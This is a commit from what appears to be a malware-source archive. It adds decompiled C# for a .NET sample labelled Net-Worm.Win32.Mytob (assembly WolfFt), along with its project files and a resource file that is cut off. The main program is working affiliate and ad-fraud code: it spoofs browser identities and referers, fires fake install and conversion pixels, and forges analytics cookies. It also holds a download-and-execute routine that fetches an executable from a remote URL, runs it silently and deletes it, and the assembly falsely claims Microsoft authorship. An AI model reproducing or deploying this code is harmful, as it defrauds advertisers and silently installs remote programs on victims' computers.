auto-decompiled msil via petikvx

add
This commit is contained in:
vxunderground
2022-08-18 06:28:56 -05:00
parent 26192f771b
commit f2ac1ece55
12767 changed files with 1945075 additions and 0 deletions
@@ -0,0 +1,269 @@
// Decompiled with JetBrains decompiler
// Type: AffiliateExecuterNoWin.Program
// Assembly: WolfFt, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 510BEE3B-1B9B-4B2D-9942-86D11904E770
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Net-Worm.Win32.Mytob.lnt-bef6a2117211c906156a30c3f707a4cf4d485846cbcd1b241053651b23028a95.exe
using HTTPAgent;
using Microsoft.Win32;
using System;
using System.Collections;
using System.Collections.Generic;
using System.Diagnostics;
using System.IO;
using System.Net;
using System.Reflection;
using System.Text.RegularExpressions;
using System.Windows.Forms;
namespace AffiliateExecuterNoWin
{
internal static class Program
{
private static string trackerUrlAndVersion;
[STAThread]
private static void Main(string[] args)
{
string str1 = "http://coolfbskins.info/getitnow";
string appName = "hazidtacp";
bool flag1 = false;
string URL = "http://whatismyipaddress.com/";
bool flag2 = false;
string str2 = "gamewrangler_v2.exe";
string url1 = "http://ie-organic.conduit-download.com/77/295/CT2956077/Downloads/IE/Releases/6.3.5.3/11-04-20-11.19.22.106/" + str2;
Program.trackerUrlAndVersion = "http://www.google-analytics.com/__utm.gif?utmwv=4.9.2";
if (new DateTime(3000, 1, 1) < DateTime.Now)
return;
Agent agent = new Agent();
agent.EmulateBrowser();
if (flag1)
{
string data = DataExtractor.ExtractDataArray(agent.GetURL(URL), "(\\b\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\b)", "$1")[0];
string savedIps = Program.GetSavedIPs(appName);
if (savedIps.IndexOf(data) >= 0)
return;
Program.SetSavedIPs(appName, savedIps + data + ";");
}
if (!string.IsNullOrEmpty(str1))
agent.Referer = str1;
string data1 = DataExtractor.ExtractDataArray(agent.GetURL("http://bsitm3.com/?a=18003&c=140&s1="), "window.location=\"([^\"]+)", "$1")[0];
agent.GetURL(data1);
string referer = agent.Referer;
agent.GetURL("http://www.facetheme.com/setTheme.php?skinid=100087&redir=http%3A%2F%2Fwww.facetheme.com%2Fdownload%2F");
agent.GetURL("http://app.adurr.com/fb/setTheme.php?skinid=100087&redir=http://www.facetheme.com/download/");
agent.Referer = "";
agent.GetURL("http://www.facetheme.com/install_redirect.php");
string upper = Guid.NewGuid().ToString().ToUpper();
agent.GetURL("http://www.facetheme.com/exit_file.php?installid={" + upper + "}&version=1.0.0");
agent.GetURL("http://www.facetheme.com/installed/{" + upper + "}/1.0.0/");
agent.GetURL("http://www.facetheme.com/cpa_pixels/nvb.php?cid=us&pid=ft");
agent.GetURL("http://pqsar.com/javascript/8001.js?action=12560");
agent.Referer = "http://www.facetheme.com/cpa_pixels/nvb.php?cid=us&pid=ft";
string url2 = agent.GetURL("http://www.tracklead.net/pixel.track?CID=144152&MerchantReferenceID=");
Program.GetRecursivePixels(agent, url2);
agent.Referer = "http://www.facetheme.com/cpa_pixels/nvb.php?cid=us&pid=ft";
agent.GetURL("http://pqsar.com/pixel/?o=8001&action=12560");
if (!flag2)
return;
if (Directory.Exists("C:\\Users\\Public\\Documents\\"))
str2 = "C:\\Users\\Public\\Documents\\" + str2;
agent.getURL2File(url1, str2);
try
{
Process.Start(str2, "/s").WaitForExit();
System.IO.File.Delete(str2);
}
catch
{
}
}
private static void GetRecursivePixels(Agent agent, string html)
{
html = Regex.Replace(html, "<noscript>.*?</noscript>", "");
List<string> stringList = new List<string>();
stringList.AddRange((IEnumerable<string>) DataExtractor.ExtractDataArray(html, "pt src=\" ?([^\"]+)", "$1"));
stringList.AddRange((IEnumerable<string>) DataExtractor.ExtractDataArray(html, "<SCRIPT language=\"javascript\" src=\" ?([^\"]+)", "$1"));
stringList.AddRange((IEnumerable<string>) DataExtractor.ExtractDataArray(html, "<IMG src=\\\\?[\"'] ?([^\"'\\\\]+)", "$1"));
stringList.AddRange((IEnumerable<string>) DataExtractor.ExtractDataArray(html, "<img src=\\\\?[\"'] ?([^\"'\\\\]+)", "$1"));
stringList.AddRange((IEnumerable<string>) DataExtractor.ExtractDataArray(html, "<iframe[^>]+?src=[\"']([^\"'\\\\]+)", "$1"));
string cid = Program.FirstOrEmpty(DataExtractor.ExtractDataArray(html, "var google_conversion_id *= *([0-9]+)", "$1"));
if (cid != "")
{
string clang = Program.FirstOrEmpty(DataExtractor.ExtractDataArray(html, "var google_conversion_language\\s*=\\s*\"([^\"]+)", "$1"));
string cformat = Program.FirstOrEmpty(DataExtractor.ExtractDataArray(html, "var google_conversion_format\\s*=\\s*\"([^\"]+)", "$1"));
string ccolor = Program.FirstOrEmpty(DataExtractor.ExtractDataArray(html, "var google_conversion_color\\s*=\\s*\"([^\"]+)", "$1"));
string clabel = Program.FirstOrEmpty(DataExtractor.ExtractDataArray(html, "var google_conversion_label\\s*=\\s*\"([^\"]+)", "$1"));
stringList.Add(Program.createGoogleAdServicesURL(cid, clang, cformat, ccolor, clabel));
}
string offerID = Program.FirstOrEmpty(DataExtractor.ExtractDataArray(html, "var filitrac_offer_id\\s*=\\s*'([^']+)", "$1"));
string referece = Program.FirstOrEmpty(DataExtractor.ExtractDataArray(html, "var filitrac_reference\\s*=\\s*'([^']+)", "$1"));
if (offerID != "")
stringList.Add(Program.createFilitracURL(offerID, referece));
string referer = agent.Referer;
foreach (string str in stringList)
{
agent.Referer = referer;
string URL = str.Trim().Replace("&amp;", "&");
string url = agent.GetURL(URL);
Program.GetRecursivePixels(agent, url);
}
}
private static string randomString(int len)
{
string str1 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
Random random = new Random();
string str2 = "";
for (int index = 0; index < len; ++index)
str2 += (string) (object) str1[random.Next(str1.Length)];
return str2;
}
private static string GetSavedIPs(string appName)
{
string savedIps = ";";
try
{
RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("SOFTWARE\\" + appName, false);
if (registryKey != null)
savedIps = registryKey.GetValue("ips").ToString();
}
catch
{
}
return savedIps;
}
private static void SetSavedIPs(string appName, string val)
{
try
{
(Registry.CurrentUser.OpenSubKey("SOFTWARE\\" + appName, true) ?? Registry.CurrentUser.CreateSubKey("SOFTWARE\\" + appName)).SetValue("ips", (object) val);
}
catch
{
}
}
public static void addTrackingCookies(CookieContainer cookies, string domain)
{
Random random = new Random();
Uri uri1 = new Uri("http://" + domain + "/");
Uri uri2 = new Uri("http://utm.trk." + domain + "/");
long totalSeconds = (long) (DateTime.Now.ToUniversalTime() - new DateTime(1970, 1, 1, 0, 0, 0, DateTimeKind.Utc)).TotalSeconds;
string str1 = Program.uHash(domain);
string str2 = str1 + "." + (object) random.Next(int.MaxValue) + "." + (object) totalSeconds + "." + (object) totalSeconds + "." + (object) totalSeconds + ".1";
string str3 = str1 + "." + (object) totalSeconds + ".1.1.utmcsr=ZJxdm025|utmccn=(not+set)|utmcmd=(not+set)";
cookies.Add(uri1, Program.createCookie("__utma", str2, 1800));
cookies.Add(uri1, Program.createCookie("__utmb", str1, 1800));
cookies.Add(uri1, Program.createCookie("__utmc", str1, 1800));
cookies.Add(uri1, Program.createCookie("__utmz", str3, 1800));
cookies.Add(uri2, Program.createCookie("__utma", str2, 1800));
cookies.Add(uri2, Program.createCookie("__utmb", str1, 1800));
cookies.Add(uri2, Program.createCookie("__utmc", str1, 1800));
cookies.Add(uri2, Program.createCookie("__utmz", str3, 1800));
}
private static void BugFix_CookieDomain(CookieContainer cookieContainer, string domain)
{
Hashtable hashtable = (Hashtable) typeof (CookieContainer).InvokeMember("m_domainTable", BindingFlags.Instance | BindingFlags.NonPublic | BindingFlags.GetField, (Binder) null, (object) cookieContainer, new object[0]);
foreach (string key1 in new ArrayList(hashtable.Keys))
{
string str = key1;
if (str == domain)
{
string key2 = "." + str;
hashtable[(object) key2] = hashtable[(object) key1];
hashtable.Remove((object) key1);
}
}
}
public static string uHash(string d)
{
int num1 = 0;
for (int startIndex = d.Length - 1; startIndex >= 0; --startIndex)
{
int num2 = (int) char.Parse(d.Substring(startIndex, 1));
num1 = (num1 << 6 & 268435455) + num2 + (num2 << 14);
int num3;
if ((num3 = num1 & 266338304) != 0)
num1 ^= num3 >> 21;
}
return num1.ToString();
}
public static Cookie createCookie(string name, string value, int timeout) => new Cookie(name, value)
{
Expires = DateTime.Now.AddSeconds((double) timeout)
};
public static string GetTrackingUrlByTemplate(
Agent agent,
string url,
string trackingSearch,
string trackingReplace,
string domain)
{
string title = Program.FirstOrEmpty(DataExtractor.ExtractDataArray(url, "&utmdt=([^&]*)", "$1"));
string hostname = Program.FirstOrEmpty(DataExtractor.ExtractDataArray(url, "&utmhn=([^&]*)", "$1"));
string referer = Program.FirstOrEmpty(DataExtractor.ExtractDataArray(url, "&utmr=([^&]*)", "$1"));
string tracking = Program.FirstOrEmpty(DataExtractor.ExtractDataArray(url, "&utmp=([^&]*)", "$1"));
string utmac = Program.FirstOrEmpty(DataExtractor.ExtractDataArray(url, "&utmac=([^&]*)", "$1"));
bool addutmcn = !(Program.FirstOrEmpty(DataExtractor.ExtractDataArray(url, "(&utmcn=1)", "$1")) == "");
string URL = Program.createTrackingUrl(title, hostname, referer, tracking, addutmcn, utmac, domain);
if (!string.IsNullOrEmpty(trackingSearch) || !string.IsNullOrEmpty(trackingReplace))
URL = URL.Replace(trackingSearch, trackingReplace);
return agent.GetURL(URL);
}
public static string FirstOrEmpty(string[] arr) => arr.Length > 0 ? arr[0] : "";
public static string sGetTrackingUrl(
Agent agent,
string title,
string hostname,
string referer,
string tracking,
bool addutmcn)
{
return agent.GetURL(Program.createTrackingUrl(title, hostname, referer, tracking, addutmcn, "", ""));
}
public static string createTrackingUrl(
string title,
string hostname,
string referer,
string tracking,
bool addutmcn,
string utmac,
string domain)
{
Random random = new Random();
string str1 = Screen.PrimaryScreen.Bounds.Width.ToString() + "x" + (object) Screen.PrimaryScreen.Bounds.Height;
long totalSeconds = (long) (DateTime.Now.ToUniversalTime() - new DateTime(1970, 1, 1, 0, 0, 0, DateTimeKind.Utc)).TotalSeconds;
string str2 = Program.uHash(domain);
string str3 = "__utma%3D" + (str2 + "." + (object) random.Next(int.MaxValue) + "." + (object) totalSeconds + "." + (object) totalSeconds + "." + (object) totalSeconds + ".1") + "%3B%2B__utmz%3D" + (str2 + "." + (object) totalSeconds + ".1.1.utmcsr%3D(direct)%7Cutmccn%3D(direct)%7Cutmcmd%3D(none)%3B");
return Program.trackerUrlAndVersion + "&utms=1&utmn=" + (object) random.Next(int.MaxValue) + "&utmhn=" + hostname + "&utmcs=utf-8&utmsr=" + str1 + "&utmsc=32-bit&utmul=en-us&utmje=1&utmfl=10.2%20r159" + (title == "" ? (object) "" : (object) ("&utmdt=" + title)) + "&utmhid=" + (object) random.Next(int.MaxValue) + (referer == "" ? (object) "" : (object) ("&utmr=" + referer)) + (addutmcn ? (object) "&utmcn=1" : (object) "") + "&utmp=" + tracking + "&utmac=" + utmac + "&utmcc=" + str3 + "&utmu=q~";
}
private static string createFilitracURL(string offerID, string referece) => "http://www.filitrac.com/Lead.aspx?pid=" + offerID + "&ref=" + referece + "&iframe=1";
private static string createGoogleAdServicesURL(
string cid,
string clang,
string cformat,
string ccolor,
string clabel)
{
long num = 1000L * (long) (DateTime.Now.ToUniversalTime() - new DateTime(1970, 1, 1, 0, 0, 0, DateTimeKind.Utc)).TotalSeconds + (long) new Random().Next(1000);
string[] strArray = clang.Split('_');
string str1 = strArray[0];
string str2 = strArray.Length <= 1 ? "" : strArray[1];
TimeSpan timeSpan = DateTime.Now - DateTime.UtcNow;
return "http://www.googleadservices.com/pagead/conversion/" + cid + "/?random=" + (object) num + "&cv=6&fst=" + (object) num + "&num=1&fmt=" + cformat + "&label=" + clabel + "&bg=" + ccolor + "&hl=" + str1 + "&gl=" + str2 + "&guid=ON&u_h=" + (object) Screen.PrimaryScreen.Bounds.Height + "&u_w=" + (object) Screen.PrimaryScreen.Bounds.Width + "&u_ah=" + (object) (Screen.PrimaryScreen.Bounds.Height - 30) + "&u_aw=" + (object) Screen.PrimaryScreen.Bounds.Width + "&u_cd=32&u_his=2&u_tz=" + (object) (int) (DateTime.Now - DateTime.UtcNow).TotalMinutes + "&u_nplug=0&u_nmime=0&url=http%3A//www.zwinky.com/dl/successPixels.jhtml";
}
}
}
@@ -0,0 +1,14 @@
using System.Reflection;
using System.Runtime.InteropServices;
[assembly: AssemblyConfiguration("")]
[assembly: AssemblyTitle("WolfFt")]
[assembly: AssemblyDescription("")]
[assembly: AssemblyCompany("Microsoft")]
[assembly: AssemblyProduct("WolfFt")]
[assembly: AssemblyCopyright("Copyright © Microsoft 2010")]
[assembly: AssemblyTrademark("")]
[assembly: ComVisible(false)]
[assembly: Guid("D662A7A1-1AE7-4243-8734-5EF6601CBBF2")]
[assembly: AssemblyFileVersion("1.0.0.0")]
[assembly: AssemblyVersion("1.0.0.0")]
@@ -0,0 +1,217 @@
// Decompiled with JetBrains decompiler
// Type: HTTPAgent.Agent
// Assembly: WolfFt, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 510BEE3B-1B9B-4B2D-9942-86D11904E770
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Net-Worm.Win32.Mytob.lnt-bef6a2117211c906156a30c3f707a4cf4d485846cbcd1b241053651b23028a95.exe
using System;
using System.Collections.Specialized;
using System.IO;
using System.Net;
using System.Text;
using System.Web;
namespace HTTPAgent
{
public class Agent
{
public CookieContainer cookieJar = new CookieContainer();
private static string[] accepts = new string[4]
{
",text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5",
",text/html,text/plain,image/png,*/*",
",text/html;q=0.8,text/plain;q=0.6,image/png,image/jpg,image/gif,*/*;q=0.4",
",text/html,text/plain,image/*,*/*"
};
private static string[] userAgentsIE = new string[6]
{
"Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.2; FDM; OfficeLiveConnector.1.4; OfficeLivePatch.1.3; .NET CLR 1.1.4322)",
"Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; Zune 3.0)",
"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; WOW64; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.04506; Media Center PC 5.0)",
"Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET CLR 4.0.20402; MS-RTC LM 8)",
"Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.2; OfficeLiveConnector.1.3; OfficeLivePatch.0.0; MS-RTC LM 8; Zune 4.0)",
"Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SLCC1; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 1.1.4322)"
};
private static string[] userAgentsFF = new string[6]
{
"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8 ( .NET CLR 3.0.4506.2152; .NET4.0C)",
"Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.2.8) Gecko/20100722 BTRS86393 Firefox/3.6.8 ( .NET CLR 3.5.30729; .NET4.0C)",
"Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.2.6) Gecko/20100625 Firefox/3.6.6 (.NET CLR 3.5.30729)",
"Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8 ( .NET CLR 3.5.30729; .NET4.0C)",
"Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.2.4) Gecko/20100523 Firefox/3.6.4 ( .NET CLR 3.5.30729)",
"Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.6) Gecko/20100625 Firefox/3.6.6 (.NET CLR 3.5.30729)"
};
private string _lastResponseText;
private HttpWebResponse _lastResponse;
private string _accept;
private string _userAgent;
private string _referer;
private bool _handleReferer;
private string _acceptLanguage;
private string _acceptEncoding;
private string _acceptCharset;
public void EmulateBrowser()
{
Random random = new Random();
this.Accept = "text/xml,application/xml,application/xhtml+xml" + Agent.accepts[random.Next(Agent.accepts.Length)];
this.AcceptLanguage = "en";
this.UserAgent = random.Next(100) >= 60 ? Agent.userAgentsIE[random.Next(Agent.userAgentsIE.Length)] : Agent.userAgentsFF[random.Next(Agent.userAgentsFF.Length)];
this.HandleReferer = true;
}
public string postURL(string URL, NameValueCollection formValues)
{
HttpWebRequest request = (HttpWebRequest) WebRequest.Create(URL);
this.SetupRequest(request, "POST");
request.ContentType = "application/x-www-form-urlencoded";
StreamWriter streamWriter = new StreamWriter(request.GetRequestStream());
if (formValues != null)
{
foreach (string allKey in formValues.AllKeys)
{
streamWriter.Write("&" + allKey + "=");
streamWriter.Write(HttpUtility.UrlEncode(formValues[allKey]));
}
}
streamWriter.Close();
this.HandleResponse(request);
if (this.HandleReferer)
this.Referer = this._lastResponse.ResponseUri.ToString();
return this._lastResponseText;
}
public string GetURL(string URL)
{
HttpWebRequest request = (HttpWebRequest) WebRequest.Create(URL);
this.SetupRequest(request, "GET");
this.HandleResponse(request);
if (this.HandleReferer)
this.Referer = this._lastResponse.ResponseUri.ToString();
return this._lastResponseText;
}
public string GetURL(string URL, NameValueCollection formValues)
{
string str1 = "";
if (formValues != null)
{
foreach (string allKey in formValues.AllKeys)
str1 = str1 + "&" + allKey + "=" + HttpUtility.UrlEncode(formValues[allKey]);
}
string str2 = str1.Substring(1);
HttpWebRequest request = (HttpWebRequest) WebRequest.Create(URL + "?" + str2);
this.SetupRequest(request, "GET");
this.HandleResponse(request);
if (this.HandleReferer)
this.Referer = this._lastResponse.ResponseUri.ToString();
return this._lastResponseText;
}
public void getURL2File(string url, string dateiname)
{
HttpWebRequest request = (HttpWebRequest) WebRequest.Create(url);
this.SetupRequest(request, "GET");
this._lastResponse = (HttpWebResponse) request.GetResponse();
Stream responseStream = this._lastResponse.GetResponseStream();
if (dateiname.IndexOf("\\") != -1)
{
string path = dateiname.Substring(0, dateiname.LastIndexOf("\\"));
if (!Directory.Exists(path))
Directory.CreateDirectory(path);
}
FileStream fileStream = new FileStream(dateiname, FileMode.Create);
byte[] buffer = new byte[1024];
while (true)
{
int count = responseStream.Read(buffer, 0, buffer.Length);
if (count != 0)
fileStream.Write(buffer, 0, count);
else
break;
}
responseStream.Close();
this._lastResponse.Close();
fileStream.Close();
}
private void HandleResponse(HttpWebRequest request)
{
this._lastResponse = (HttpWebResponse) request.GetResponse();
StreamReader streamReader = new StreamReader(this._lastResponse.GetResponseStream(), Encoding.UTF8);
this._lastResponseText = streamReader.ReadToEnd();
streamReader.Close();
this._lastResponse.Close();
}
private void SetupRequest(HttpWebRequest request, string method)
{
request.Method = method;
request.CookieContainer = this.cookieJar;
request.Accept = this._accept;
request.UserAgent = this._userAgent;
request.Referer = this._referer;
if (this._acceptCharset != null)
request.Headers.Add("Accept-Charset", this._acceptCharset);
if (this._acceptEncoding != null)
request.Headers.Add("Accept-Encoding", this._acceptEncoding);
if (this._acceptLanguage == null)
return;
request.Headers.Add("Accept-Language", this._acceptLanguage);
}
public string LastResponseText => this._lastResponseText;
public HttpWebResponse LastResponse => this._lastResponse;
public string Accept
{
get => this._accept;
set => this._accept = value;
}
public string UserAgent
{
get => this._userAgent;
set => this._userAgent = value;
}
public string Referer
{
get => this._referer;
set => this._referer = value;
}
public bool HandleReferer
{
get => this._handleReferer;
set => this._handleReferer = value;
}
public string AcceptLanguage
{
get => this._acceptLanguage;
set => this._acceptLanguage = value;
}
public string AcceptEncoding
{
get => this._acceptEncoding;
set => this._acceptEncoding = value;
}
public string AcceptCharset
{
get => this._acceptCharset;
set => this._acceptCharset = value;
}
public static string UrlEncode(string str) => HttpUtility.UrlEncode(str);
public static string UrlDecode(string str) => HttpUtility.UrlDecode(str);
public static string HtmlEncode(string str) => HttpUtility.HtmlEncode(str);
public static string HtmlDecode(string str) => HttpUtility.HtmlDecode(str);
}
}
@@ -0,0 +1,69 @@
// Decompiled with JetBrains decompiler
// Type: HTTPAgent.DataExtractor
// Assembly: WolfFt, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 510BEE3B-1B9B-4B2D-9942-86D11904E770
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Net-Worm.Win32.Mytob.lnt-bef6a2117211c906156a30c3f707a4cf4d485846cbcd1b241053651b23028a95.exe
using System.Collections;
using System.Collections.Specialized;
using System.Text.RegularExpressions;
namespace HTTPAgent
{
public class DataExtractor
{
private DataExtractor()
{
}
public static string[] ExtractDataArray(
string input,
string pattern,
string replacement,
RegexOptions options)
{
ArrayList arrayList = new ArrayList();
foreach (Match match in Regex.Matches(input, pattern, options))
{
if (replacement == string.Empty)
arrayList.Add((object) match.Value);
else
arrayList.Add((object) match.Result(replacement));
}
return (string[]) arrayList.ToArray(typeof (string));
}
public static string[] ExtractDataArray(string input, string pattern, string replacement) => DataExtractor.ExtractDataArray(input, pattern, replacement, RegexOptions.None);
public static NameValueCollection ExtractHiddenFields(string input, int x)
{
NameValueCollection hiddenFields = new NameValueCollection();
MatchCollection matchCollection1 = Regex.Matches(input, "<form.+?</form>", RegexOptions.IgnoreCase | RegexOptions.Singleline);
if (matchCollection1.Count > 0)
{
int i = x;
if (i < 0)
i = 0;
if (i > matchCollection1.Count - 1)
i = matchCollection1.Count - 1;
MatchCollection matchCollection2 = Regex.Matches(matchCollection1[i].Value, "<input([^>]+?type=\"hidden\"[^>]+?)/?>", RegexOptions.IgnoreCase | RegexOptions.Singleline);
Regex regex = new Regex("(\\S+?)=\"(.*?)\"", RegexOptions.Compiled | RegexOptions.Singleline);
foreach (Match match1 in matchCollection2)
{
MatchCollection matchCollection3 = regex.Matches(match1.Groups[1].Value);
string name = "";
string str = "";
foreach (Match match2 in matchCollection3)
{
if (match2.Groups[1].Value.ToLower() == "name")
name = match2.Groups[2].Value;
if (match2.Groups[1].Value.ToLower() == "value")
str = match2.Groups[2].Value;
}
hiddenFields[name] = str;
}
}
return hiddenFields;
}
}
}
@@ -0,0 +1,49 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<!--Project was exported from assembly: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Net-Worm.Win32.Mytob.lnt-bef6a2117211c906156a30c3f707a4cf4d485846cbcd1b241053651b23028a95.exe-->
<PropertyGroup>
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
<ProjectGuid>{1AFA68D1-A185-4528-B6C6-D993B3A4250A}</ProjectGuid>
<OutputType>WinExe</OutputType>
<AssemblyName>WolfFt</AssemblyName>
<ApplicationVersion>1.0.0.0</ApplicationVersion>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
<PlatformTarget>AnyCPU</PlatformTarget>
<DebugSymbols>true</DebugSymbols>
<DebugType>full</DebugType>
<Optimize>false</Optimize>
<OutputPath>bin\Debug\</OutputPath>
<DefineConstants>DEBUG;TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
<PlatformTarget>AnyCPU</PlatformTarget>
<DebugType>pdbonly</DebugType>
<Optimize>true</Optimize>
<OutputPath>bin\Release\</OutputPath>
<DefineConstants>TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
</PropertyGroup>
<ItemGroup>
<Reference Include="System" />
<Reference Include="System.Drawing" />
<Reference Include="System.Web" />
<Reference Include="System.Windows.Forms" />
</ItemGroup>
<ItemGroup>
<Compile Include="HTTPAgent\DataExtractor.cs" />
<Compile Include="HTTPAgent\Agent.cs" />
<Compile Include="WolfFt\Properties\Settings.cs" />
<Compile Include="WolfFt\Properties\Resources.cs" />
<Compile Include="AffiliateExecuterNoWin\Program.cs" />
<Compile Include="AssemblyInfo.cs" />
</ItemGroup>
<ItemGroup>
<EmbeddedResource Include="WolfFt\Properties\Resources.resx" />
</ItemGroup>
<Import Project="$(MSBuildBinPath)\Microsoft.CSharp.targets" />
</Project>
@@ -0,0 +1,20 @@
Microsoft Visual Studio Solution File, Format Version 9.00
# Visual Studio 2005
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "WolfFt", "Net-Worm.Win32.Mytob.lnt-bef6a2117211c906156a30c3f707a4cf4d485846cbcd1b241053651b23028a95.csproj", "{1AFA68D1-A185-4528-B6C6-D993B3A4250A}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|Any CPU = Debug|Any CPU
Release|Any CPU = Release|Any CPU
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{1AFA68D1-A185-4528-B6C6-D993B3A4250A}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{1AFA68D1-A185-4528-B6C6-D993B3A4250A}.Debug|Any CPU.Build.0 = Debug|Any CPU
{1AFA68D1-A185-4528-B6C6-D993B3A4250A}.Release|Any CPU.ActiveCfg = Release|Any CPU
{1AFA68D1-A185-4528-B6C6-D993B3A4250A}.Release|Any CPU.Build.0 = Release|Any CPU
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
EndGlobal
@@ -0,0 +1,46 @@
// Decompiled with JetBrains decompiler
// Type: WolfFt.Properties.Resources
// Assembly: WolfFt, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 510BEE3B-1B9B-4B2D-9942-86D11904E770
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Net-Worm.Win32.Mytob.lnt-bef6a2117211c906156a30c3f707a4cf4d485846cbcd1b241053651b23028a95.exe
using System.CodeDom.Compiler;
using System.ComponentModel;
using System.Diagnostics;
using System.Globalization;
using System.Resources;
using System.Runtime.CompilerServices;
namespace WolfFt.Properties
{
[GeneratedCode("System.Resources.Tools.StronglyTypedResourceBuilder", "2.0.0.0")]
[DebuggerNonUserCode]
[CompilerGenerated]
internal class Resources
{
private static ResourceManager resourceMan;
private static CultureInfo resourceCulture;
internal Resources()
{
}
[EditorBrowsable(EditorBrowsableState.Advanced)]
internal static ResourceManager ResourceManager
{
get
{
if (object.ReferenceEquals((object) WolfFt.Properties.Resources.resourceMan, (object) null))
WolfFt.Properties.Resources.resourceMan = new ResourceManager("WolfFt.Properties.Resources", typeof (WolfFt.Properties.Resources).Assembly);
return WolfFt.Properties.Resources.resourceMan;
}
}
[EditorBrowsable(EditorBrowsableState.Advanced)]
internal static CultureInfo Culture
{
get => WolfFt.Properties.Resources.resourceCulture;
set => WolfFt.Properties.Resources.resourceCulture = value;
}
}
}
@@ -0,0 +1,120 @@
<?xml version="1.0" encoding="utf-8"?>
<root>
<!--
Microsoft ResX Schema
Version 2.0
The primary goals of this format is to allow a simple XML format
that is mostly human readable. The generation and parsing of the
various data types are done through the TypeConverter classes
associated with the data types.
Example:
... ado.net/XML headers & schema ...
<resheader name="resmimetype">text/microsoft-resx</resheader>
<resheader name="version">2.0</resheader>
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
<value>[base64 mime encoded serialized .NET Framework object]</value>
</data>
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
<comment>This is a comment</comment>
</data>
There are any number of "resheader" rows that contain simple
name/value pairs.
Each data row contains a name, and value. The row also contains a
type or mimetype. Type corresponds to a .NET class that support
text/value conversion through the TypeConverter architecture.
Classes that don't support this are serialized and stored with the
mimetype set.
The mimetype is used for serialized objects, and tells the
ResXResourceReader how to depersist the object. This is currently not
extensible. For a given mimetype the value must be set accordingly:
Note - application/x-microsoft.net.object.binary.base64 is the format
that the ResXResourceWriter will generate, however the reader can
read any of the formats listed below.
mimetype: application/x-microsoft.net.object.binary.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.soap.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.bytearray.base64
value : The object must be serialized into a byte array
: using a System.ComponentModel.TypeConverter
: and then encoded with base64 encoding.
-->
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
